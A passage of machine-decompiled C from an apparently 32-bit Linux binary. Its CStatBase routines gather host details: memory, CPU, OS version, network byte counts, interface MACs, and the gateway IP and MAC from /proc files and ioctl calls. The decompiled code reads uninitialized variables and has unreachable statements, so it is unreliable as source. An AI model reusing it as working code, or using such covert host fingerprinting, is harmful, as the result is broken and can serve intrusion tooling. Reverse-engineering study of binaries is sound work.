-> 0x8073025 } // 0x807305b // branch -> 0x807305b // 0x807305b return (int32_t)(int32_t *)v9; } // 0x807305b v4 = (int32_t *)v6; // branch -> 0x807305b } // 0x807305b return (int32_t)v4; } // Address range: 0x8073122 - 0x8073193 int32_t CStatBase__GetMemSize(struct _struct__IO_FILE * a1) { struct _struct__IO_FILE * v1 = NULL; // bp-36 int32_t v2 = (int32_t)"/proc/meminfo"; // bp-44 __new_fopen((int32_t)"/proc/meminfo", 0x8102966); int32_t v3 = g95; // 0x807313d if (v3 == 0) { // 0x8073192 int32_t result; // 0x8073193_11 return result; } // 0x8073146 v1 = (struct _struct__IO_FILE *)((int32_t)a1 + 12); v2 = v3; fscanf((struct _struct__IO_FILE *)&v2, "MemTotal: %d kB", &v1); v2 = v3; __new_fclose(&v2); int32_t result2 = (int32_t)a1; // 0x807316e int32_t * v4 = (int32_t *)(result2 + 12); // 0x8073171_0 uint32_t v5 = *v4; // 0x8073171 int32_t v6; // 0x80731842 if (v5 <= 0) { // 0x807317d v6 = v5 + 1023; // branch -> 0x8073184 } else { v6 = v5; } // 0x8073184 *v4 = v6 / 1024; // branch -> 0x8073192 // 0x8073192 return result2; } // Address range: 0x8073194 - 0x8073321 int32_t CStatBase__GetLocalDeviceInfo(int32_t * a1, char * str) { int32_t protocol = (int32_t)g2; // 0x80731a4 int32_t sock_fd = socket(AF_INET, SOCK_STREAM, protocol); // 0x80731a4 if (sock_fd <= 0) { // 0x807331a return -1; } // 0x80731c1 int32_t * v1; memset(v1, protocol, 32); int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)str, v2, v5, v4, 0); int32_t * v6; int32_t v7 = (int32_t)v6; // 0x80731f9 std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); strncpy((char *)v1, str, 15); int32_t result; // 0x807331a1 if (ioctl(sock_fd, 0x8927, v1) < 0 == false) { int32_t v8 = v7 + 4; // 0x80732b7 int32_t v9; *(int32_t *)v8 = v9; int16_t v10; *(int16_t *)(v8 + 4) = v10; if (ioctl(sock_fd, 0x8915, v1) < 0 == false) { // 0x80732f6 int32_t v11; *(int32_t *)(v7 + 12) = v11; // branch -> 0x8073305 } else { // 0x80732ea *(int32_t *)(v7 + 12) = 0; // branch -> 0x8073305 } // 0x8073305 close(sock_fd); result = 0; // branch -> 0x807331a } else { // 0x807329d close(sock_fd); result = -1; // branch -> 0x807331a } // 0x807331a return result; } // Address range: 0x8073538 - 0x80735e1 int32_t CStatBase__GetSysVersion(int32_t result) { int32_t v1 = result; // bp-428 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1); int32_t * name; uname(name); v1 = result; std__string__operator_eq_((int32_t **)&v1, (char *)name); v1 = result; std__string__append_669(&v1, (int32_t)" "); v1 = result; int32_t v2; std__string__append_669(&v1, v2); return result; } // Address range: 0x80735e4 - 0x8073645 int32_t CStatBase__GetOs(struct _struct__IO_FILE * a1) { // 0x80735e4 int32_t v1; int32_t v2 = v1; // bp-12 CStatBase__GetSysVersion(v1); std__string__operator_eq__675(); int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); // 0x8073639 return result; } // Address range: 0x8073646 - 0x8073725 int32_t CStatBase__GetLocalMac(int32_t a1, int32_t a2) { int32_t v1 = g98; // 0x8073649 if (a2 == 0) { // 0x8073720 g98 = v1; int32_t result; // 0x8073724_11 return result; } int32_t * v2 = (int32_t *)(a1 + 96); // 0x807365d_0 *v2 = a2; int32_t v3 = a1 + 68; // 0x8073663 int32_t v4 = v3; int32_t result2 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___empty(&v4); // 0x807366a if (result2 == 0) { int32_t v5 = 0; while (true) { // 0x80736db g98 = v5; v4 = v3; uint32_t v6 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size(&v4); // 0x80736e8 int32_t v7; if (((int32_t)(g98 < v6) || v6 & -256) == 0) { // 0x80736f9 v7 = 0; v4 = v3; int32_t v8 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(&v4, &g2->e0); // 0x8073705 g96 = a1; int32_t v9 = *(int32_t *)(v8 + 4); // 0x8073712 g95 = v9; *(int32_t *)(a1 + 100) = v9; uint16_t v10 = *(int16_t *)(v8 + 8); // 0x8073718 *(int16_t *)(g96 + 104) = v10; // branch -> 0x8073720 // 0x8073720 g98 = v1; return g95 & -0x10000 | (int32_t)v10; } // 0x8073683 g98 = *v2; v7 = v5; v4 = v3; int32_t v11 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(&v4, &v7); // 0x8073697 int32_t v12 = *(int32_t *)(v11 + 12); // 0x807369f if (((int32_t)(g98 == v12) || v12 & -256) != 0) { // 0x80736ab v7 = v5; v4 = v3; int32_t v13 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(&v4, &v7); // 0x80736b9 g96 = a1; int32_t v14 = *(int32_t *)(v13 + 4); // 0x80736c6 g95 = v14; *(int32_t *)(a1 + 100) = v14; uint16_t v15 = *(int16_t *)(v13 + 8); // 0x80736cc *(int16_t *)(g96 + 104) = v15; // branch -> 0x8073720 // 0x8073720 g98 = v1; return g95 & -0x10000 | (int32_t)v15; } // 0x80736d6 v5++; // branch -> 0x80736db } } // 0x8073720 g98 = v1; return result2; } // Address range: 0x8073cca - 0x8073fff int32_t CStatBase__GetNetBytes(struct _struct__IO_FILE * a1) { int32_t v1 = g102; // 0x8073ccd int32_t v2 = g101; // 0x8073cce int32_t v3 = g98; // 0x8073ccf int32_t * v4; int32_t * v5; int32_t v6 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v5, (int32_t *)512, (int32_t)v4); // 0x8073ce2 __new_fopen((int32_t)"/proc/net/dev", 0x8102966); if (v6 == 0) { // 0x8073fdd std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5); g97 = 0; g98 = v3; g101 = v2; g102 = v1; return 0; } struct struct_18 * v7 = g2; // 0x8073d4e_5 int32_t v8 = (int32_t)v7; // 0x8073d5d // branch -> 0x8073f71 while (true) { int32_t v9 = _IO_feof((struct _struct__IO_FILE *)v5); // 0x8073f77 if (((int32_t)(v9 == 0) || v9 & -256) == 0) { // 0x8073f8c __new_fclose(v5); // branch -> 0x8073fdd // 0x8073fdd std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5); g97 = 0; g98 = v3; g101 = v2; g102 = v1; return 0; } // 0x8073d34 g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5); int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073d4e memset((int32_t *)v10, v8, g98); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5) - 1; int32_t v11 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073d80 int32_t v12; _IO_fgets(v11, g98, v5, v12); int32_t v13; std__allocator_lt_char_gt__598(v13); int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073db0 int32_t * v15; int32_t v16; int32_t v17; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v17, v14, v13, v12, v16, (int32_t)v15); std__allocator_lt_char_gt_(); int32_t v18 = std__string__find_616(v17, (int32_t)"eth", v8); // 0x8073e13 int32_t v19; // 0x8073e2e char v20; if (v18 == -1) { // 0x8073e20 v19 = std__string__find_616(v17, (int32_t)"em", v8); if (v19 != -1) { v20 = 0; // branch -> 0x8073e4b } else { v19 = -1; v20 = 1; } } else { // 0x8073e44 v19 = v18; v20 = 0; // branch -> 0x8073e4b } // 0x8073e4b if (((int32_t)v20 || v19 & -256) == 0) { int32_t v21 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073e7f _IO_sscanf(v21, (int32_t)"%7s %llu %lu %lu %lu %lu %lu %lu %lu %llu %lu %lu %lu %lu %lu %lu %lu"); g98 = 0; g101 = 0; g102 = 0; // branch -> 0x8073f62 } // 0x8073f62 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v17); // branch -> 0x8073f71 } } // Address range: 0x807415e - 0x807418b int32_t CStatBase__InitNetUse(struct _struct__IO_FILE * a1) { // 0x807415e CStatBase__GetNetBytes(a1); a1->e13 = NULL; a1->e14 = g97; int32_t result = CUtility__GetTickCount(); // 0x807417b a1->e15 = result; a1->e16 = g97; return result; } // Address range: 0x807418c - 0x807432b int32_t CStatBase__InitCpuUse(struct _struct__IO_FILE * a1) { struct _struct__IO_FILE * v1 = NULL; // bp-52 struct _struct__IO_FILE * v2 = NULL; // bp-48 int32_t v3 = g98; // 0x807418f v2 = (struct _struct__IO_FILE *)0x80741a4; int32_t * v4; int32_t * v5; int32_t v6 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v4, (int32_t *)256, (int32_t)v5); // 0x807419f int32_t * v7 = (int32_t *)0x8102966; // bp-40 int32_t * v8 = (int32_t *)"/proc/cpuinfo"; // bp-44 v2 = (struct _struct__IO_FILE *)0x80741b9; __new_fopen((int32_t)"/proc/cpuinfo", 0x8102966); int32_t result; // 0x807431e if (v6 == 0) { // 0x8074317 result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v4); g98 = v3; return result; } struct struct_18 * v9 = g2; // 0x80741e8_5 // branch -> 0x807426c while (true) { lab_0x5b13a00: // 0x807426c v8 = v4; v2 = (struct _struct__IO_FILE *)0x8074277; int32_t v10 = _IO_feof((struct _struct__IO_FILE *)v4); // 0x8074272 if (((int32_t)(v10 == 0) || v10 & -256) == 0) { // 0x8074287 v2 = (struct _struct__IO_FILE *)0x8074292; int32_t v11 = __new_fclose(v4); // 0x807428d int32_t * v12 = (int32_t *)v11; // 0x807428d_4 v7 = (int32_t *)0x8102966; v8 = (int32_t *)"/proc/stat"; v2 = (struct _struct__IO_FILE *)0x80742a7; __new_fopen((int32_t)"/proc/stat", 0x8102966); if (v11 != 0) { int32_t v13 = (int32_t)a1; // 0x80742b5 int32_t v14 = v13 + 20; // 0x80742ca g98 = v14; v7 = (int32_t *)(v13 + 44); v8 = (int32_t *)(v13 + 36); v2 = (struct _struct__IO_FILE *)(v13 + 28); v1 = (struct _struct__IO_FILE *)v14; fscanf((struct _struct__IO_FILE *)v11, "cpu %llu %llu %llu %llu", &v1, &v2, &v8, &v7); v8 = v12; v2 = (struct _struct__IO_FILE *)0x80742ef; __new_fclose(v12); // branch -> 0x8074317 } // 0x8074317 result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v4); g98 = v3; return result; } // 0x80741ce v2 = (struct _struct__IO_FILE *)0x80741da; g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v4); v7 = NULL; v2 = (struct _struct__IO_FILE *)0x80741ed; int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v9->e0); // 0x80741e8 int32_t * v16 = (int32_t *)v15; // 0x80741e8_6 v7 = NULL; v8 = v16; v2 = (struct _struct__IO_FILE *)0x80741fc; memset(v16, (int32_t)v9, g98); v2 = (struct _struct__IO_FILE *)0x807420b; g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v4) - 1; v7 = NULL; v2 = (struct _struct__IO_FILE *)0x807421f; int32_t v17 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v9->e0); // 0x807421a int32_t v18 = g98; // 0x8074228 v7 = (int32_t *)v18; v8 = (int32_t *)v17; v2 = (struct _struct__IO_FILE *)0x807422f; int32_t v19; _IO_fgets(v17, v18, v4, v19); v7 = NULL; v2 = (struct _struct__IO_FILE *)0x8074240; int32_t v20 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v9->e0); // 0x807423b v7 = (int32_t *)"processor"; v8 = (int32_t *)v20; v2 = (struct _struct__IO_FILE *)0x8074251; char * substr_pos = strstr((char *)v20, "processor"); // 0x807424c if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) != 1) { // break -> 0x807425d break; } // continue -> 0x807426c } int32_t * v21 = (int32_t *)((int32_t)a1 + 8); // 0x8074260_0 *v21 = *v21 + 1; // branch -> 0x807426c goto lab_0x5b13a00; } // Address range: 0x807432c - 0x807456f int32_t CStatBase__GetGateMac(int32_t a1) { struct struct_6 * v1 = NULL; // bp-48 int32_t v2 = g102; // 0x807432f int32_t v3 = g101; // 0x8074330 int32_t v4 = g98; // 0x8074331 int32_t * v5; int32_t v6 = (int32_t)v5; // 0x8074341 int32_t * v7; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, (int32_t *)512, v6); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)512, v6); int32_t v8 = *(int32_t *)(a1 + 84); // 0x8074360 g95 = v8; int32_t result; // 0x807455f if (v8 == 0) { // 0x8074524 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; g102 = v2; return result; } // 0x8074372 __new_fopen((int32_t)"/proc/net/arp", 0x8102966); int32_t v9 = g95; // 0x8074387 int32_t * v10 = (int32_t *)v9; // 0x8074387_0 if (v9 == 0) { // 0x8074524 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; g102 = v2; return result; } struct _struct__IO_FILE * v11 = (struct _struct__IO_FILE *)v9; // 0x80744e5 struct struct_18 * v12 = g2; // 0x80743df_5 int32_t v13 = _IO_feof(v11); // 0x80744e530 if (((int32_t)(v13 == 0) || v13 & -256) == 0) { // 0x80744fa __new_fclose(v10); // branch -> 0x8074524 // 0x8074524 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; g102 = v2; return result; } // 0x80743a1 // branch -> 0x80743a1 while (true) { // 0x80743a1 char * cp; memcpy((int32_t *)cp, (int32_t *)0x8102a3a, 5); int32_t v14; memcpy(&v14, (int32_t *)0x8102a26, 5); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7); int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v12->e0); // 0x80743df memset((int32_t *)v15, (int32_t)v12, g98); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7) - 1; int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v12->e0); // 0x8074411 _IO_fgets(v16, g98, v10, 0); if (g95 == 0) { int32_t v17 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v12->e0); // 0x8074446 g98 = v17; int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v12->e0); // 0x8074459 _IO_sscanf(v18, (int32_t)"%16s 0x%d 0x%d %20s %s"); inet_addr(cp); if (((int32_t)(g95 == v8) || v8 & -256) != 0) { // 0x80744a2 g98 = a1 + 90; g101 = a1 + 89; g102 = a1 + 88; _IO_sscanf(v14, (int32_t)"%2x:%2x:%2x:%2x:%2x:%2x"); // branch -> 0x80744fa // 0x80744fa __new_fclose(v10); // branch -> 0x8074524 // 0x8074524 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; g102 = v2; return result; } } int32_t v19 = _IO_feof(v11); // 0x80744e5 if (((int32_t)(v19 == 0) || v19 & -256) == 0) { // break -> 0x80744fa break; } // continue -> 0x80743a1 } // 0x80744fa __new_fclose(v10); // branch -> 0x8074524 // 0x8074524 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; g102 = v2; return result; } // Address range: 0x8074570 - 0x807478b int32_t CStatBase__GetGateIp(int32_t a1) { struct struct_6 * v1 = NULL; // bp-56 struct struct_6 * v2 = NULL; // bp-44 int32_t v3 = g101; // 0x8074573 int32_t v4 = g98; // 0x8074574 int32_t * v5; int32_t v6 = (int32_t)v5; // 0x8074584 int32_t * v7; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, (int32_t *)512, v6); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v2->e0, (int32_t *)8, v6); int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)512, v6); // 0x80745a9 int32_t * v9 = (int32_t *)v8; // 0x80745a9_7 __new_fopen((int32_t)"/proc/net/route", 0x8102966); int32_t result; // 0x807477d if (v8 == 0) { // 0x807470d std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; return result; } struct _struct__IO_FILE * v10 = (struct _struct__IO_FILE *)v8; // 0x80746c7 struct struct_18 * v11 = g2; // 0x8074601_5 int32_t v12 = _IO_feof(v10); // 0x80746c730 if (((int32_t)(v12 == 0) || v12 & -256) == 0) { // 0x80746dc __new_fclose(v9); // branch -> 0x807470d // 0x807470d std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; return result; } while (true) { // 0x80745e7 g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7); int32_t v13 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v11->e0); // 0x8074601 memset((int32_t *)v13, (int32_t)v11, g98); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7) - 1; int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v11->e0); // 0x8074633 int32_t v15; _IO_fgets(v14, g98, v9, v15); if (g95 == 0) { int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v11->e0); // 0x8074664 g98 = v16; int32_t v17 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v2->e0, &v11->e0); // 0x8074677 g101 = v17; int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v11->e0); // 0x807468a _IO_sscanf(v18, (int32_t)"%5s %8x %8x %s"); int32_t v19; if (v19 != 0) { // 0x80746b6 *(int32_t *)(a1 + 84) = v19; // branch -> 0x80746dc // 0x80746dc __new_fclose(v9); // branch -> 0x807470d // 0x807470d std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; return result; } } int32_t v20 = _IO_feof(v10); // 0x80746c7 if (((int32_t)(v20 == 0) || v20 & -256) == 0) { // break -> 0x80746dc break; } // continue -> 0x80745e7 } // 0x80746dc __new_fclose(v9); // branch -> 0x807470d // 0x807470d std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); g98 = v4; g101 = v3; return result; } // Address range: 0x807478c - 0x8074823 int32_t CStatBase__GetMacsIps(int32_t a1, int32_t a2) { int32_t v1; CAutoLock_492((struct struct_68 *)&v1, a1 + 108, 1); char * v2 = (char *)(a1 + 106); // 0x80747ae_0 if (((int32_t)*v2 || a1 & -256) == 0) { // 0x80747b7 CStatBase__GetLocalMac(a1, a2); CStatBase__GetGateIp(a1); CStatBase__GetGateMac(a1); *v2 = 1; // branch -> 0x8074810 } // 0x8074810 CAutoLock_493((struct struct_68 *)&v1); return &v1; } // Address range: 0x8074824 - 0x80749c7 int32_t CStatBase__GetCpuSpd(struct _struct__IO_FILE * a1) { int32_t v1 = g98; // 0x8074829 int32_t * v2; int32_t * v3; int32_t v4 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v2, (int32_t *)128, (int32_t)v3); // 0x8074847 __new_fopen((int32_t)"/proc/cpuinfo", 0x8102966); int32_t result; // 0x80749b7 if (v4 == 0) { // 0x80749b0 result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v2); g98 = v1; return result; } struct struct_18 * v5 = g2; // 0x8074890_5 // branch -> 0x8074962 while (true) { int32_t v6 = _IO_feof((struct _struct__IO_FILE *)v2); // 0x8074968 if (((int32_t)(v6 == 0) || v6 & -256) == 0) { // 0x807497d __new_fclose(v2); // branch -> 0x80749b0 // 0x80749b0 result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v2); g98 = v1; return result; } // 0x8074876 g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v2); int32_t v7 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x8074890 memset((int32_t *)v7, (int32_t)v5, g98); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v2) - 1; int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x80748c2 int32_t v9; _IO_fgets(v8, g98, v2, v9); int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x80748e3 int32_t v11 = v10; uint32_t strncmp_rc = strncmp((char *)&v11, "cpu MHz", 7); // 0x8074906 bool v12 = g99 > 0xffffffef; // 0x8074908 int32_t v13 = g96 & -256; // 0x807490e uint32_t v14 = (v13 | (((int32_t)(v12 | strncmp_rc % 2 == 0) | g97 & -256) ^ 1) % 2) - ((int32_t)v12 | v10 & -256); // 0x8074910 int32_t v15 = 0x1000000 * v14; // 0x8074910 g96 = v14 % 256 | v13; if (((int32_t)((v15 || 0xffffff) < 0x1ffffff) || v15 / 0x1000000 & -256) != 0) { // break -> 0x8074920 break; } // continue -> 0x8074962 } int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x8074929 _IO_sscanf(v16, (int32_t)"cpu MHz : %d.%d"); *(int32_t *)((int32_t)a1 + 4) = 0; __new_fclose(v2); // branch -> 0x80749b0 // 0x80749b0 result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v2); g98 = v1; return result; } // Address range: 0x80749c8 - 0x8074c97 int32_t CStatBase__GetLocalDevicesInfo(struct _struct__IO_FILE * a1) { struct struct_6 * v1 = NULL; // bp-52 int32_t v2 = g98; // 0x80749cd int32_t * v3; int32_t v4 = (int32_t)v3; // 0x80749dd int32_t * v5; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v5, (int32_t *)512, v4); int32_t v6 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)512, v4); // 0x80749f1 int32_t * v7 = (int32_t *)v6; // 0x80749f1_7 __new_fopen((int32_t)"/proc/net/dev", 0x8102966); if (v6 == 0) { // 0x8074c49 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5); g98 = v2; return -1; } struct struct_18 * v8 = g2; // 0x8074a57_5 int32_t v9 = 0; // branch -> 0x8074bfd int32_t v10; int32_t v11; // 0x8074aed int32_t v12; // 0x8074aaa6 while (true) { lab_0x2a6f93f0:; int32_t v13 = v9; // 0x8074aaa7 // branch -> 0x8074bfd while (true) { int32_t v14 = _IO_feof((struct _struct__IO_FILE *)v6); // 0x8074c03 if (((int32_t)(v14 == 0) || v14 & -256) == 0) { // 0x8074c18 __new_fclose(v7); // branch -> 0x8074c49 // 0x8074c49 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5); g98 = v2; return 0; } // 0x8074a2f g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5); int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v8->e0); // 0x8074a57 memset((int32_t *)v15, (int32_t)v8, g98); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5) - 1; int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v8->e0); // 0x8074a89 _IO_fgets(v16, g98, v7, v10); v12 = 1; char v17 = 1; if (v13 != 1) { // 0x8074aa7 v12 = v13 + 1; v17 = v13 == 0; // branch -> 0x8074abc } // 0x8074abc if ((g95 & -256 || (int32_t)v17) == 0) { // break -> 0x8074ac7 break; } v13 = v12; // continue -> 0x8074bfd } int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v8->e0); // 0x8074ad0 g98 = v18; int32_t v19 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v8->e0); // 0x8074ae3 v11 = g98; _IO_sscanf(v19, (int32_t)"%5s %s"); int32_t v20; strncmp((char *)&v20, "lo", 3); // break -> 0x8074b62 break; v9 = v12; v10 = v11; // continue -> 0x8074bfd } // 0x8074b62 int32_t v21; CDevice((struct struct_3 *)&v21); if (CStatBase__GetLocalDeviceInfo(&a1->e0, (char *)v8) < 0 == false) { // 0x8074b90 char v22; if (v22 == 0) { // 0x8074b97 char v23; if (v23 == 0) { // 0x8074b9e char v24; if (v24 == 0) { // 0x8074ba5 char v25; if (v25 == 0) { // 0x8074bac char v26; if (v26 == 0) { // 0x8074bb3 char v27; if (v27 == 0) { lab_0x5b88b00: // 0x8074bee CDevice_339(v21); v9 = v12; v10 = v11; // branch -> 0x8074bfd goto lab_0x2a6f93f0; } } } } } } struct _struct__IO_FILE * v28 = (struct _struct__IO_FILE *)((int32_t)a1 + 68); // 0x8074bc9_0 std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___push_back(&v28->e0, &v21); // branch -> 0x8074bee goto lab_0x5b88b00; } // 0x8074bee CDevice_339(v21); v9 = v12; v10 = v11; // branch -> 0x8074bfd goto lab_0x2a6f93f0; } // Address range: 0x8074c98 - 0x8074cf3 void CStatBase__Initialize(struct _struct__IO_FILE * a1) { // 0x8074c98 CStatBase__GetOs(a1); CStatBase__GetCpuSpd(a1); CStatBase__InitCpuUse(a1); CStatBase__InitNetUse(a1); CStatBase__GetMemSize(a1); CStatBase__GetLocalDevicesInfo(a1); } // Address range: 0x8074d68 - 0x8074d83 int32_t CMac(int32_t * a1) { // 0x8074d68 memset(a1, (int32_t)g2, 6); return (int32_t)a1; } // Address range: 0x8074d84 - 0x8074d89 void CMac_338(void) { // 0x8074d84 return; } // Address range: 0x8074d8a - 0x8074db3 int32_t CDevice(struct struct_3 * a1) { // 0x8074d8a std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&a1->e0); int32_t v1 = (int32_t)a1 + 4; // 0x8074da2 g95 = v1; return CMac(&((struct struct_3 *)v1)->e0); } // Address range: 0x8074db4 - 0x8074ddd int32_t CDevice_339(int32_t a1) { // 0x8074db4 CMac_338(); int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&a1); // 0x8074dd3 return result; } // Address range: 0x8074dde - 0x8074de3 void __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x8074dde return; } // Address range: 0x8074de4 - 0x8074dfb int32_t std__allocator_lt_CDevice_gt_(int32_t result) { // 0x8074de4 